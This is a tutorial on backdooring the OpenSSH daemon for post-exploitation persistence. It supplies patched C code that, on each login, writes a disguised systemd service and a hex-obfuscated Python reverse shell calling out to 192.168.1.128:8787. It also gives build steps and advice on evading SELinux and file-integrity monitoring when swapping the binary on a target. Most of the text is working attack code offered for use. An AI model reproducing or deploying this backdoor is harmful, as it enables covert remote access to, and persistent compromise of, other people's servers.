Backdooring common Linux services for fun & persistence
OpenSSH
OpenSSH is one of the most used software on *NIX operating system making it a commonly deployed binary that adversary may encounter during post exploitation phase.
We will show you how to tamper OpenSSH sources to turn the binary into a discrete backdoor.
Setting up the environment
Well creating the environment isn't too complicated. Just make sure you have the following :
- wget
- gcc
- make
- vi / nano / any IDE or text editor
Create a working directory
mkdir openssh-backdoor && cd $_
Get the targeted OpenSSH release source code from Debian's repo.
Make sure to get the exact same version as the targeted system to avoid incompatibilities when implanting the backdoor
wget http://ftp.fr.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-8.8p1.tar.gz
Once downloaded, extract the archive.
tar xzvf openssh-8.8p1.tar.gz
Finding a good C file to backdoor
Well here it all depends on the behavior you would like to achieve. Here, We wanted our backdoor to be triggered when someone logs in. To do so, we found it would be interresting to trigger the backdoor during session establishment. In OpenSSH, the session.c
file is used to do so. In this case, we will target the function that tried to get the name or IP address of the client connecting to the server session_get_remote_name_or_ip()
.
Patching the code with our backdoor
In our case, we wrote a function that writes a SystemD service (see: SystemD Use & Abuse) and a script to be triggered when the service starts.
void* b4ckd00r()
{
unsigned char fname[] = "/usr/lib/ssh/.sshd-agent_config.swp";
// Unistd file exists check, restart if backdoor already implanted
if( access( fname, F_OK ) == 0 ) {
// File exists
system("systemctl restart sshd-agent.service");
} else {
FILE *svc;
// # /usr/lib/systemd/system/sshd-agent.service
// [Unit]
// Description=Admin Service
// [Service]
// ExecStart=/bin/bash /usr/lib/ssh/sshd-agent
unsigned char buf1[] = "\x5b\x55\x6e\x69\x74\x5d\x0a\x44\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e\x3d\x53\x53\x48\x64\x20\x41\x67\x65\x6e\x74\x20\x53\x65\x72\x76\x69\x63\x65\x0a\x0a\x5b\x53\x65\x72\x76\x69\x63\x65\x5d\x0a\x45\x78\x65\x63\x53\x74\x61\x72\x74\x3d\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x2f\x75\x73\x72\x2f\x6c\x69\x62\x2f\x73\x73\x68\x2f\x73\x73\x68\x64\x2d\x61\x67\x65\x6e\x74\x0d\x0a\x0d\x0a";
svc = fopen("/usr/lib/systemd/system/sshd-agent.service", "w+");
fputs(buf1, svc);
fclose(svc);
FILE *scr;
// export RHOST="192.168.1.128";export RPORT=8787;python -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
unsigned char buf2[] = "\x65\x78\x70\x6f\x72\x74\x20\x52\x48\x4f\x53\x54\x3d\x22\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x32\x38\x22\x3b\x65\x78\x70\x6f\x72\x74\x20\x52\x50\x4f\x52\x54\x3d\x38\x37\x38\x37\x3b\x70\x79\x74\x68\x6f\x6e\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x73\x6f\x63\x6b\x65\x74\x2c\x6f\x73\x2c\x70\x74\x79\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x6f\x73\x2e\x67\x65\x74\x65\x6e\x76\x28\x22\x52\x48\x4f\x53\x54\x22\x29\x2c\x69\x6e\x74\x28\x6f\x73\x2e\x67\x65\x74\x65\x6e\x76\x28\x22\x52\x50\x4f\x52\x54\x22\x29\x29\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x64\x29\x20\x66\x6f\x72\x20\x66\x64\x20\x69\x6e\x20\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x2f\x62\x69\x6e\x2f\x73\x68\x22\x29\x27\x0d\x0a\x0d\x0a";
scr = fopen("/usr/lib/ssh/sshd-agent", "w+");
fputs(buf2, scr);
fclose(scr);
system("systemctl start sshd-agent.service");
system("echo -e '\xad\xde\x01\xf0'>/usr/lib/ssh/.sshd-agent_config.swp");
}
}
We then modify the session_get_remote_name_or_ip()
function to call b4ckd00r()
const char *
session_get_remote_name_or_ip(struct ssh *ssh, u_int utmp_size, int use_dns)
{
b4ckd00r();
const char *remote = "";
if (utmp_size > 0)
remote = auth_get_canonical_hostname(ssh, use_dns);
if (utmp_size == 0 || strlen(remote) > utmp_size)
remote = ssh_remote_ipaddr(ssh);
return remote;
}
Recompiling
Before compiling, run the configure script as such :
./configure \
--prefix=/usr \
--sbindir=/usr/bin \
--libexecdir=/usr/lib/ssh \
--sysconfdir=/etc/ssh \
--with-ldns \
--with-libedit \
--with-ssl-engine \
--with-pam \
--with-privsep-user=nobody \
--with-kerberos5=/usr \
--with-xauth=/usr/bin/xauth \
--with-mantype=man \
--with-md5-passwords \
--with-pid-dir=/run
If the configuration script exists gracefully, you may now recompile the OpenSSH daemon
make
⚠ Do not run ⚠
make install
as this will perform a system-wide installation and we only wish to install our custom daemon.
Setting up the new binary
The proper way of doing this would be to replace the current OpenSSH binanary with the backdoored one, however, you should consider the following :
- Make sure that SeLinux is not installed, enabled, or that the policy will allow to perform such an action
- Make sure you compiled OpenSSH in the exact same version as the one on the target system to prevent configuration incompatibilities
- Make sure to tamper / remove any file monitoring system that would flag the new binary as malicious